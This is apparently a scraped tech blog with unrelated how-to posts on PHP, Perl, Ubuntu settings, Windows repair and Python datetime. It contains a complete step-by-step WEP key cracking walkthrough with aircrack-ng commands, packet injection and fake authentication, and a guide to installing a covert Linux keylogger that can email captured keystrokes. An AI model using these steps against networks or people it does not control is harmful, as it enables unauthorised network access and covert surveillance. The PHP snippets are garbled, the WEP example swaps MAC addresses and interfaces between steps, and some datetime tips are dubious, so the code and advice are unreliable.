Alternating table row colors in php

No Comments

Most of the websites use this alternating color to tables which will make the user readability of table content. We can use any of the colors you want.

I am writing php code which will print the data present in the mysql table in a alternating color format.


//Database Connection inputs

$host=”localhost”; // Host name
$username=””; // Mysql username
$password=””; // Mysql password
$database=”mydb”; // Database name
$table=”mytable”; // Table name

// Connect to server and select databse

mysql_connect(“$host”, “$username”, “$password”)or die(“cannot connect”);
mysql_select_db(“$mydb”)or die(“cannot select DB”);
$sql=”SELECT * FROM $mytable”;

// Define $color=1, this is a temporary variable to define color.


echo ‘<table width=”200″ border=”1″ cellpadding=”2″ cellspacing=”0″>’;


// If $color==1 table row color = #FFC600

echo “<tr bgcolor=’#FFC400′>
// Set $color==2, for changing the color

// When $color not equal 1, use this table row color

echo “<tr bgcolor=’#C3FF00′>

// Set $color back to 1
echo ‘</table>’;


Alternate colors for table rows

Alternate Color Table Format

You can also use CSS files instead of specifying the color.

td .d0


background-color: #FFC600;


td .d1




How to make reverse sort in perl array

No Comments

I am working on some perl project. I have come across a situation where I need to sort the values in arrays in reverse order. I have done it very simply. I have an array of array: @array=qw(canada mexico usa);

Now I can use te sort() command to sort the above values in the array by giving the command: @sortthis=sort(@array); That uses alphabetical order for sorting by default. The sorting criteria is not given, but you can get same results by giving a longer version of the sort function call, like so: @sortthis=sort {$a cmp $b} @array;

Here, $a and $b are special variables which are used to compare two of the values in @array to see which should come first in the sort order. The cmp is a comparison operator returns a positive value if $a > $b, a negative value if $a < $b, or zero if they are equal. By changing the formula that follows the sort keyword you can change the order of the sort function.

If you wanted to sort in reverse order, you could just use Perl’s reverse() function: @reversesort=reverse(@sortthis); or in one statement, @reversesort=reverse sort @array;. This is inefficient however as it must make a temporary copy of the list of names, which could get expensive if the array is large. A more efficient way is to just change the sort criteria to produce the reverse result. @reversesort=sort { $b cmp $a } @array;. Now, the values returned by cmp are the opposite of what they were above, and so the sort order is the opposite.


Track website visitors using PHP


We have so many tools available to track the blogs or wesites. Although there are some free ones, most of them come with a price tag. Why not do it yourself? With PHP, you can easily create a log file within minutes. This article shows you the complete tutorial on how to make the tracker

Getting the information
The most important part is getting the information from your visitor. Thankfully, this is extremely easy to do in PHP (or any other scripting language for that matter). PHP has a special global variable called $_SERVER which contains several environment variables, including information about your visitor. To get all the information you want, simply use the following code:

// Getting the information
$ipaddress = $_SERVER['REMOTE_ADDR'];
$page = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['PHP_SELF']}";
$page .= iif(!empty($_SERVER['QUERY_STRING']), "?{$_SERVER['QUERY_STRING']}", "");
$referrer = $_SERVER['HTTP_REFERER'];
$datetime = mktime();
$useragent = $_SERVER['HTTP_USER_AGENT'];
$remotehost = @getHostByAddr($ipaddress);

As you can see the majority of information comes from the $_SERVER variable. The mktime() ( and getHostByAddr() ( functions are used to get additional information about the visitor.

Note: I used a function in the above example called iif(). You can get this function at

Logging the information
Now that you have all the information you need, it must be written to a log file so you can later look at it, and create useful graphs and charts. To do this you need a few simple PHP function, like fopen ( and fwrite (

The below code will first create a complete line out of all the information. Then it will open the log file in “Append” mode, and if it doesn’t exist yet, create it.

If no errors have occurred, it will write the new logline to the log file, at the bottom, and finally close the log file again.

// Create log line
$logline = $ipaddress . '|' . $referrer . '|' . $datetime . '|' . $useragent . '|' . $remotehost . '|' . $page . "

// Write to log file:
$logfile = '/some/path/to/your/logfile.txt';

// Open the log file in "Append" mode
if (!$handle = fopen($logfile, 'a+')) {
die("Failed to open log file");

// Write $logline to our logfile.
if (fwrite($handle, $logline) === FALSE) {
die("Failed to write to log file");


Now you’ve got a fully function logging module. To start tracking visitors on your website simply include the logging module into your pages with the include() function (

include ('log.php');

Okay, now I want to view my log file
After a while you’ll probably want to view your log file. You can easily do so by simply using a standard text editor (like Notepad on Windows) to open the log file, but this is far from desired, because it’s in a hard-to-read format.

Let’s use PHP to generate useful overviews for is. The first thing that needs to be done is get the contents from the log file in a variable, like so:

// Open log file
$logfile = "G:projectsphpitcontentrack your visitors using phplog.txt";

if (file_exists($logfile)) {

$handle = fopen($logfile, "r");
$log = fread($handle, filesize($logfile));
} else {
die ("The log file doesn't exist!");

Now that the log file is in a variable, it’s best if each logline is in a separate variable. We can do this using the explode() function (, like so:

// Seperate each logline
$log = explode("
", trim($log));

After that it may be useful to get each part of each logline in a separate variable. This can be done by looping through each logline, and using explode again:

// Seperate each part in each logline
for ($i = 0; $i < count($log); $i++) {
$log[$i] = trim($log[$i]);
$log[$i] = explode('|', $log[$i]);

Now the complete log file has been parsed, and we’re ready to start generating some interesting stuff. The first thing that is very easy to do is getting the number of pageviews. Simply use count() ( on the $log array, and there you have it;

echo count($log) . " people have visited this website.";

You can also generate a complete overview of your log file, using a simple foreach loop and tables. For example:

// Show a table of the logfile
echo '<table>';
echo '<th>IP Address</th>';
echo '<th>Referrer</th>';
echo '<th>Date</th>';
echo '<th>Useragent</th>';
echo '<th>Remote Host</th>';

foreach ($log as $logline) {
echo '<tr>';

echo '<td>' . $logline['0'] . '</td>';
echo '<td>' . urldecode($logline['1']) . '</td>';
echo '<td>' . date('d/m/Y', $logline['2']) . '</td>';
echo '<td>' . $logline['3'] . '</td>';
echo '<td>' . $logline['4'] . '</td>';

echo '</tr>';


echo '</table>';

You can also use custom functions to filter out search engines and crawlers. Or create graphs using PHP/SWF Charts ( The possibilities are endless, and you can do all kinds of things!

In Conclusion…
In this article I have shown you have to create a logging module for your own PHP website, using nothing more than PHP and its built-in functions. To view the log file you need to parse it using PHP, and then display it in whatever way you like. It is up to you to create a kick-ass traffic analyzer.

If you still prefer to use a pre-built traffic analyzerArticle Search, have a look at

Article Tags: Visitors Using, Logging Module, Each Logline, Lt;/td>’;echo Lt;td>

Source: Free Articles from

How to enable Auto Login in Ubuntu Linux

1 Comment

This is a small tip to enable auto login in Ubuntu flavour. That means you don’t need to login in to your machine when the system boots up.  For enabling Auto Login you need to have mingetty and need to edit one file. For complete procedure, please follow the below steps

step 1

sudo apt-get install mingetty


After installing you need to take back up of file /etc/event.d/tty1

Step 3

Now type the following command in terminal

sudo vi /etc/event.d/tty1

Step 4

Now change the last line of the file

exec /sbin/getty 38400 tty1 to exec /sbin/mingetty –autologin your_username tty1

Step 4

For enabling autologin to Ubuntu Desktop do the following
Open the terminal and type sudo gdmsetup

Now Click on the Security tab check and check Enable Automatic Login. Now Select the username from the drop down list and click Close button. Next time if you reboot, the machine then auto login will be enabled.
gdm setup

GDM setup

Hack WEP Key in Ubuntu Linux

No Comments

This is a simple tutorial on, How to hack the WEP key of a wireless network. We have the tools available in ubuntu to get the WEP Key.  Before proceeding this I am mentioning the complete steps below along with the pre-requisites. This article seems to be very lengthy but please be patience while reading :)


  • You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
  • There is at least one wired or wireless client connected to the network and they are active.
  • You should have the aircrack-ng installed in your machine. If its not installed then type sudo apt-get install aircrack-ng

Terms used in this article

  • MAC address of PC running aircrack-ng suite: 00:1e:c9:4a:ca:5d
  • BSSID (MAC address of access point): 00:1e:c9:44:cd:6a
  • ESSID (Wireless network name): Ronny
  • Access point channel: 9
  • Wireless interface: eth1

Step 1

Start the wireless interface in monitor mode on Access Point channel

In this step we will make our card in to monitor mode. By enabling the card in monitor mode your card can listen every packet in the air. When the monitor mode is disabled your card can hear only the packets addressed to you.

First stop eth1 by entering:
sudo airmon-ng stop eth1

The system responds:

Interface       Chipset         Driver

eth1           Centrino        madwifi-ng

Type “iwconfig” in the terminal to ensure there are no other ethX interfaces.  The output in the terminal will look like this.

lo        no wireless extensions.
eth0      no wireless extensions.
wifi0     no wireless extensions.

If there are any remaining ethX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left. Now, enter the following command to start the wireless card on channel 9 in monitor mode:

airmon-ng start wifi0 9

Substitute the channel number that your wireless Access Point runs on for “9” in the command above. This is important. You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.

The system will respond:

Interface       Chipset         Driver
eth1           Centrino        madwifi-ng

You will notice that “eth1” is reported above as being put into monitor mode.  To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

lo        no wireless extensions.
wifi0     no wireless extensions.
eth0      no wireless extensions.
eth1      IEEE 802.11g  ESSID:””  Nickname:””
Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
Retry:off   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

Step 2

Test Wireless Device Packet Injection

The purpose of this step ensures that your card is within distance of your AP and can inject packets to it or not.


 aireplay-ng -9 -e Ronny -a 00:1e:c9:4a:ca:5d  eth1


  • -9 means injection test
  • -e Ronny is the wireless network name
  • -a 00:1e:c9:4a:ca:5d is the access point MAC address
  • eth1 is the wireless interface name

The system should respond with:

 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 09:23:35  Trying broadcast probe requests...
 09:23:35  Injection is working!
 09:23:37  Found 1 AP 

 09:23:37  Trying directed probe requests...
 09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
 09:23:39  30/30: 100%

The last line is important. Ideally it should say 100% or a very high percentage. If it is low then you are too far away from the AP or too close. If it is zero then injection is not working and you need to patch your drivers or use different drivers.

Step 3

Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point. Open another console session to capture the generated IVs. Then enter:

 airodump-ng -c 9 --bssid 00:1e:c9:44:cd:6a -w output eth1

While the injection is taking place (later), the screen will look similar to this:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 00:1e:c9:44:cd:6a  42 100     5240   178307  338   9  54  WEP  WEP         Ronny
 BSSID              STATION            PWR  Lost  Packets  Probes
 00:1e:c9:44:cd:6a  00:1e:c9:44:cd:6a   42     0   183782

Step 4

Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.

To associate with an access point, use fake authentication:

aireplay-ng -1 0 -e Ronny -a 00:1e:c9:4a:ca:5d -h 00:1e:c9:44:cd:6a eth1

Success looks like:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Or another variation for picky access points:

aireplay-ng -1 6000 -o 1 -q 10 -e Ronny -a 00:1e:c9:4a:ca:5d -h 00:1e:c9:44:cd:6a eth1

Success looks like:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Here is an example of what a failed authentication looks like:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

Step 5
Start aireplay-ng in ARP request replay mode

The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. For an explanation of ARP, see this PC Magazine page or Wikipedia. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.

Open another console session and enter:

aireplay-ng -3 -b 00:1e:c9:4a:ca:5d -h 00:1e:c9:44:cd:6a eth1

It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. On your home network, here is an easy way to generate an ARP request: On a wired PC, ping a non-existent IP on your home LAN.

Here is what the screen looks like when ARP requests are being injected:

Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets…

You can confirm that you are injecting by checking your airodump-ng screen.

Step 6 – Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps. Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection arp request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ”–ivs” option.

Start another console session and enter:

aircrack-ng -z -b 00:1e:c9:4a:ca:5d output*.cap

To also use the FMS/KoreK method, start another console session and enter:

aircrack-ng -b 00:1e:c9:4a:ca:5d output*.cap

If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Here is what success looks like:

Aircrack-ng 0.9

[00:03:06] Tested 674449 keys (got 96610 IVs)
KB    depth   byte(vote)
0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)

I know you have lots of doubts in your mind. Please comment


Step 3 – Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.

Open another console session to capture the generated IVs. Then enter:

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0


  • -c 9 is the channel for the wireless network
  • –bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
  • -w capture is file name prefix for the file which will contain the IVs.
  • ath0 is the interface name.

While the injection is taking place (later), the screen will look similar to this:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           

 BSSID              STATION            PWR  Lost  Packets  Probes                                             

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782

Linux Keylogger in Ubuntu


I am searching for a keylogger for Ubuntu Linux. Finally I found it in Here are the simple steps for keylogger in ubuntu

What is Keylogger?

Keystroke logger is the practice of noting (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. There are numerous keylogging methods, ranging from hardware- and software-based to electromagnetic and acoustic analysis.

keylogger in Linux

We have an opensource software available for Linux called lkl (Linux Key Logger).

LKL is a userspace keylogger that runs under linux–x86/arch. LKL sniffs and logs everything passes trought the hardware keyboard port (0x60).

Download key logger here

How to Install?

Step 1

Unzip or untar the file you have downloaded

Step 2

Change in to directory by typing cd lkl

Step 3

Give the below command


This will check all the required resurces it needs

Step 4

Type `make‘ to compile the package.

Step 5

Optionally, type `make check’ to run any self-tests that come with the package.

Step 6

Type `sudo make install‘ to install the programs

Now you are done with the installation

How to use?

You can send argument with the command lkl
-h help
-l start to log the 0x60 port (keyboard)
-b debug mode
-k <km_file> set a keymap file
-o <o_file> set an output file
-m <email> send logs to <email>
-t <host> hostname for sendmail. Default is localhost

Example: lkl -l -k us_km -o log.file // use USA kb and put logs in ‘log.file’

Please comment on the same if it doesn’t works for you

How to use Windows Key in Ubuntu Linux

No Comments

When I am working my Ubuntu Desktop, I observed that only one of the key in my keyboard is not using at all which is windows key.  I have decided to make is work in Ubuntu and finally I did.

Windows Key

Windows Key

Just follow the below instructions to make this windows key to work in Ubuntu

Step 1

G0 to System > Preferences > Keyboard short cuts from your desktop menu

Step 2

You will find the below dialog box. Now select Show the panel’s main menu action.  Now Click on the Shortcut column of the selected action, and when it changes to “New accelerator…”, hit the Windows Key. Click the close button. Now your windows key will work in Ubuntu. When you hit your windows key, the application menu open.

Keyboard Shortcuts

Keyboard Shortcuts

I hope this is good trick and very useful for you.

How to repair windows using linux

1 Comment

This is new trick where you can repair your windows using your linux.

Warning…!!!: Please don’t follow this trick if you are not familiar with windows and linux installation

Our crazy windows some times says some dll  files missing etc etc

Corurpt or missing : C:\WINDOWS\SYSTM32\CONFIG\SYSTEM Put Windows CD etc etc…

Step 1

For doing this trick you need to have any linux OS (any distribution)

Step 2

Insert your linux boot disk and drop to root prompt


Now run the below command

dosfsck -a /dev/sdaN

where /dev/sdaN is the Drive windows is installed on. If you are not sure what is the value of N, then type df -h you can see the sdaN with windows mount. This should fix a corrupt file system.

Step 4

Reboot the system

If the above process doesn’t works out follow the below steps.

Boot into linux and do the following as root

Mount the drive windows is installed on to say “/mnt/c”

# cd /mnt/c/windows/system32
# cp -r config /home/username
# cp ../Repair/system config/system

Now reboot the system. It should boot into windows and show your desktop.  After booting in to windows use system restore to get back to your initial state.

Tutorial and Tips on using python’s datetime module

No Comments

Introduction to Datetime module

The datetime module provides a number of types to deal with dates, times, and time intervals. This module replaces the integer/tuple-based time mechanisms in the time module with a more object-oriented interface. All types provided by this module are new-style classes, and can be subclassed and extended from Python.


datetime module represented in ISO 8601 formatted

2007-03-04 20:32:17

The datetime module exports the following constants:

MINYEAR : The smallest year number allowed in a date or datetime object. MINYEAR is 1.

MAXYEAR : The largest year number allowed in a date or datetime object. MAXYEAR is 9999.

Available Types

The module contains the following types:

  • The datetime type gives output of date and time during the day. Attributes: year, month, day, hour, minute, second, microsecond, and tzinfo.
  • The date type contains date between year 1 and 9999. Attributes: year, month, and day.
  • The time type shows time, independent of the date. Attributes: hour, minute, second, microsecond, and tzinfo.
  • The timedelta shows duration expressing the difference between two date, time, or datetime instances to microsecond resolution
  • The tzinfo type is used to implement timezone support. Time zone displays in UTC format
import datetime
import time
print datetime.datetime(2009, 10, 19, 21, 41, 43)
print datetime.datetime.utcnow()
print datetime.datetime.utcfromtimestamp(time.time()).

2009-10-19 21:41:43
2009-10-19 11:51:24.670136
2009-10-19 11:51:24.670172
2009-10-19 06:21:24.670195
2009-10-19 06:21:24.670206

Tips on date time module

  • datetime.strptime silently throws away all timezone information. If you look very closely, it even says so in its documentation
  • Timezones do not exist, all datetime objects have to be naive. aware means broken.
  • datetime objects must always contain UTC information
  • is never to be used. Always use datetime.utcnow()
  • Be careful of 3rd party python modules: people have a dangerous tendency to use
  • If a conversion to some local time is needed, it shall be done via either some ugly thing like time.localtime(int(dt.strftime("%s"))) or via the pytz module
  • pytz must be used directly, and never via timezone aware datetime objects, because datetime objects fail in querying pytz:


Control Multiple PCs With One Keyboard/Mouse

No Comments

If you are among those who have multiple machines on their desktop, then you must be familiar with the problem of goofing up with the keyboard and mouse. You start typing and suddenly realize that the keyboard which you are using is not the one intended. Also, multiple keyboards and mice eat up a lot of desk space. In case of KVM Switch, it reduces the number of monitors as well, along with keyboards and mice. And sometimes, sliding between multiple machines just to see if your compilation is done seems annoying. A small tool called Input Director solves the problem by allowing you to control multiple Windows systems with only one keyboard and mouse on the Master PC. You can download it from Once the download and installation is done, run the application on the your master PC.

Go to ‘Master Configuration’ tab (as shown above) and specify the number of monitors to be controlled from the master computer. Now go to the ‘Slave Configuration’ tab and add the host name of slave computer and the number of monitors connected in it. Don’t change the port settings.
Here, select, if you want to allow any machine act as a master to take control, or a specific series of IP or a specific machine. Now come back to the master machine. Here in the Master configuration you will see the added node. Drag and drop the machines in the white box to set the layout of your display.